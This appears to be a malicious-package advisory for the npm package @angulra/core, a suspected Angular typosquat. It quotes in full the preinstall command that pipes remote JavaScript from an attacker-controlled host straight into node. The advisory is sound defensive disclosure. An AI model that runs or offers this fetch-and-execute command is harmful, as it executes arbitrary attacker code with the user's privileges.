MAL-2026-17496

    Dashboard / Malicious Package / MAL-2026-17496

    MAL-2026-17496

    Published: 4 Oct 2026Last Modified: 4 Oct 2026

    Summary: Malicious code in @angulra/core (npm)

    Details: Source: amazon-inspector (7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34) The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at `npm install` time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name `@angulra/core` resembles Angular ecosystem names while the package description (`Core Libs`) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running `npm install` on this package executes arbitrary remote code with the installing user's privileges.

    References: https://www.npmjs.com/package/@angulra/core/v/1.0.67

    Affected packages

    Package

    Name: @angulra/core

    Purl: pkg:npm/%40angulra/core

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.67